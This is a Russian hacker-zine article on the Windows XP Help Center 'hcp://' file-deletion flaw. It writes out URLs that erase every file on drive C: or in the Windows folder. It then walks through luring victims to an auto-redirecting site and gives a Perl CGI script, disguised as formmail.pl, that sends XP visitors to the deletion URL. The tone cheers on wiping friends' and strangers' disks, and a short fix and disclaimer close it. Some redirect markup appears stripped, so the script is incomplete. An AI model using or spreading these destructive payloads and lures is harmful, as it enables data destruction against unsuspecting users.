WinXP - первый шаг к пустому винту
В последнее время достаточно много юзверей перешли на Windows XP как на удобную, достаточно устойчивую и
просто приятную ось. К слову сказать я сам пользуюсь вышеназванной операционкой и чувствую себя сухо и
комфортно =) Да вот только в каждой программе от дяди Билли нет, нет да и найдут багу способную подпортить
жизнь обычным пользователям сети. ХРень также не смогла не попасть в списки дырявых продуктов. Конечно нет
смысла описывать все баги найденные в ней и я пожалуй расскажу только об одном, а именно о баге в Help
Center.
Начну с описания уязвимости:
Удаление произвольных файлов в Windows XP и не только, возможно благодаря встроенному Help and Support
Center, который является унифицированным хелпом для XP и представляет собой расширенную версию, появившуюся
в Windows ME. Приложение региструет подключаемый протокол "hcp://", который может быть использован для
запуска хелп центра с сайта. Также он служит для навигации внутри центра. Файл и путь указанный в URL для
hcp протокола откроет соответствующий файл по пути, указанному в HELPCTR. Т.е. URL
"hcp://system/sysinfo/msinfo.htm" запустит центр и откроет в нем
"%windir%\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm". Существуют разные ограничения, однако важна сама
суть, того что центр будет отображать страницу со своими правами, позволяя скриптам выполняться без ведома
пользователя.
Файл %windir%\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm, размером 32463 байта, используется хелп центром
для загрузки в веб информации о железе/драйверах пользователя, в случае возникновения у него каких-либо
проблем (troubleshooting hardware issues). Вот часть скрипта, содержащегося в нем:
var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}
Где параметр 'sFile' берется из URL. Хелп центр загружает в себя uplddrvinfo.htm и выполняет его со своими
правами, не выдавая никаких дополнительных сообщений.
Используя 'hcp:' можно передать данные непосредственно в URL:
hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\*
Все файлы внутри папки Windows будут удалены.
Для тех кто не совсем понял обьясняю. Если пользователь WInXP откроет свой браузер и введёт в качестве урл
строку: hcp://system/DFS/uplddrvinfo.htm?file://c:\* то тогда все файлы на диске C:\ будут удалены без
всяких предупреждений. Просто и удобно. Теперь самое интересное... нам как-то надо заставить ненавистного
нам юзера перейти по такой ссылке. Самое простое конечно просто предложить ему ввести урл в браузер, но с
подозрительным человеком такая шутка не пройдёт т.к. он обязательно поинтересуется почему ссылка выглядит
так подозрительно? Да и даже если мы заставим его сделать это то потом когда юзер потеряет свои файлы он
будет знать из-за кого это произошло... и при встрече с ним у вас будет не лучший момент в жизни =)
Можно сделать на своей странице ссылку типа:
СЮДА НЕ ЖАТЬ
но вероятность того что пользователь зайдёт на вашу страницу и примется кликать на этой ссылке тоже не
очень велика =(
Значит надо автоматизировать процесс перехода по заданной ссылке. Наиболее простой способ имхо это
реализовать автоматический переход средствами html. Создаём документ index.htm и в него пишем следующее:
LOADING...
PLEASE WAIT
Теперь регистрируем себе сайт, например www.winXPdie.narod.ru и заливаем на него наш индексный файл. Теперь
всё что нам нужно это послать пользователю сообщение о новом супер интересном сайте где много всего нужного
и т.д. и т.п. и дать ссылку на наш сайт. Юзверь заходит по ссылке, естественно загружается наш индексный
файл который через секунду переправляет юзверя по нужной нам ссылке. В результате у пользователя на компе
открывается Help Center и файлики с винта начинают бесследно исчезать =)
Ну вот все твои друзья использующие Виндоуз-ХРень лишились своих файлов и тихо матюгаясь восстанавливают
систему. Теперь наверно стоит закончить с этими шалостями и занятся более серьёзными делами. Например
придумать как нам может помочь эта уязвимость для наказания всякого рода script kiddies которые так и
норовят поломать ваш сайт. Какая прога самая популярная в инструментарии скриптовых детишек? Конечно-же
сканер уязвимых скриптов! Ну чтож давайте не будем обманывать ожидания этих "хэкеров" и подготовим для них
пару уязвимых скриптов. Пишем скрипт:
#!/usr/bin/perl
# путь к перлу
# получаем информацию о браузере
$useragent=$ENV{'HTTP_USER_AGENT'};
# если операционка WinXP то выводим страницу с редиректом
# IE6.0 на XP передаёт строку Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
if ($useragent=~/Windows NT 5/){
print "Content-type: text/html\n\n";
print "";
# в следующей строке и производится редирект на спец. урл
# вы можете отредактировать его для удаления определённых файлов
print "";
print "";
print "
LOADING...
PLEASE WAIT";
print "";
}
# если информация о браузере не передана то выводим страницу с редиректом (на всякий случай :)
else {
if ($useragent=""){
print "Content-type: text/html\n\n";
print "";
print "";
print "";
print "
LOADING...
PLEASE WAIT";
print "";
}
# если информация получена и ОС не WinXP то выводим NOT FOUND
else {
print "Content-type: text/html\n\n";
print "";
print "";
print "
NOT FOUND ";
print "";
}
}
Теперь кладём этот скрипт на сайт в папку cgi-bin под именем любого часто встречающегося в базах
cgi-сканеров скрипта (например formmail.pl) и ставим аттрибут исполняемости. Теперь при запросе сканера
www.ваш_сайт.ru/cgi-bin/имя_скрипта.pl (www.site.ru/cgi-bin/formmail.pl) сканер выдаст ответ '200' FOUND
что нам и надо =) Любопытный взломщик скорее всего загрузит этот УРЛ в браузере... скрипт во время
исполнения перешлёт его по нужной ссылке и если на машине хакера установлена ВиньХР то все файлы на его
диске С будут удалены =)
На последок хочу рассказать как пофиксить эту багу:
Временным решением может быть простое удаление файла c:\windows\PCHEALTH\HELPCTR\System\DFS\uplddrvinfo.htm
P.S. Эта статья не пособие по удалению файлов с винтов бедных пользователей WindowsXP, цель этой статьи
показать обычным юзерам на опасность которая может подстерегать их в сети и помочь им предотвратить её.
Блин чуть не забыл ещё одно: Я не несу никакой ответственности за возможный вред который могут причинить
читатели воспользовавшись информацией данной статьи. Прошу не сваливать на меня вину за гигабайты удалённых
файлов, во всём виноваты мЫкрософт и дядя Билли. =)
Автор: 1dt.w0lf
---------------------------------------
RusH security team - http://rst.void.ru